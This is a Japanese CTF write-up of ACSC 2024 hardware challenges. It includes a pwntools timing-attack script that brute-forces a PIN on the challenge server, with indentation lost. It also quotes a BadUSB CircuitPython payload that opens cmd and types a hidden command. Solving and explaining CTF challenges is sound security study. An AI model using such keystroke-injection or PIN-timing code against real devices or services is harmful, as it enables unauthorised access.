ACSC 2024 writeup
ACSC に参加しました. Twitter で hardware ジャンルのある CTF があることを知ったので参加しようと思った次第です. hardware は完答ですが,案の定 hardware 以外は解いていません(解けていません). 次の writeup で解いてみます. 順位は 800 pts で世界 64/282(?) 位でした.
An4lyz3_1t(50pts, 140 solved)
.sal のバイナリデータが与えられます. logic2 で Async Serial デコードするとフラグが得られます. ボーレートに注意する必要がありますが,この程度なら典型的なボーレートでできると思います. もちろん手でもデコードできます.
0(ASCII code) 0111 0(ASCII code) 0111...
みたいな並びになっているので,ASCII code が逆順になっていることに注意して,ゴミを取り除きつつデコードすることができます.
Valut(150pts, 68 solves)
10 桁の PIN をサイドチャネル攻撃しろ,という問題でした. CTF でサイドチャネル攻撃するなら大抵タイミング攻撃なのでそうだろうと思いつつサーバを触ってみます.
時間を測ると,入力した PIN を 1 文字ずつチェックして,正解の PIN と一致していたら 0.1 秒の遅延が入るような仕組みになっているようでした.
以下がスクリプトです. 作り甘いですが…
from pwn import *
import time
list = ['0','1','2','3','4','5','6','7','8','9']
io = remote('vault.chal.2024.ctf.acsc.asia', 9999)
msg = io.recvuntil('$ ')
for i in list:
io.sendline('./chall')
msg = io.recvuntil('Enter your PIN: ')
start = time.perf_counter()
io.sendline('857421936' + i)
print(io.recv(1024))
end = time.perf_counter()
print('time' + str(end-start))
print('number' + str(i))
msg = io.recvuntil('$ ')
io.close()
picopico(200pts, 55 solves)
ラズパイ pico のファームウェアが与えられて,何をしているか当てよ,みたいな問題でした.
strings
するとコードの末尾に大量の python コードがありました.
~snip~
import time
L=len
o=bytes
l=zip
import microcontroller
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
w=b"\x10\x53\x7f\x2b"
a=0x04
K=43
if microcontroller.nvm[0:L(w)]!=w:
microcontroller.nvm[0:L(w)]=w
O=microcontroller.nvm[a:a+K]
h=microcontroller.nvm[a+K:a+K+K]
F=o((kb^fb for kb,fb in l(O,h))).decode("ascii")
S=Keyboard(usb_hid.devices)
C=KeyboardLayoutUS(S)
time.sleep(0.1)
S.press(Keycode.WINDOWS,Keycode.R)
time.sleep(0.1)
S.release_all()
time.sleep(1)
C.write("cmd",delay=0.1)
time.sleep(0.1)
S.press(Keycode.ENTER)
time.sleep(0.1)
S.release_all()
time.sleep(1)
C.write(F,delay=0.1)
time.sleep(0.1)
S.press(Keycode.ENTER)
time.sleep(0.1)
S.release_all()
time.sleep(0xFFFFFFFF)
ここのコードが重要で,BadUSB のようです.
microcontroller.nvm
の中身が分からないとどうしようもない…
ここで,microcontroller.nvm[0:L(w)]=w
みたいな処理があるので,ファームウェア内で \x10\x53\x7f\x2b
と書かれている部分があれば NVM の始まりだと分かります.
なので, hexeditor
とかで NVM を吸い出して手元で先の python 処理を再現すればフラグが得られます.
PER_Tr4ce(200pts, 38 solves)
16 bit AES の処理波形が与えられるので,秘密鍵を復元せよ,という問題です. DPA は得意技なので意気揚々と DPA をやりましたが 50 波形と少ないのでうまくいかず,CPA を組みなおす必要がありました.
実装は自前のを流用しました.
RFID_Demod(200pts, 12 solves)
RFID の書き込み音(?)が得られるのでデコードせよ,という問題でした. T5577 タグを使っているらしいのでデータシートを読みます. (ATA5577C – Read/Write LF RFID IDIC 100 kHz to 150 kHz)
27ページあたりに書き込み時のビットフローが書かれています. opcode, lockbit, blockaddr を除いたデータを ASCII code に変換してあげればフラグの内容が得られます. OOK なのでデータシートを読まなくても解けそう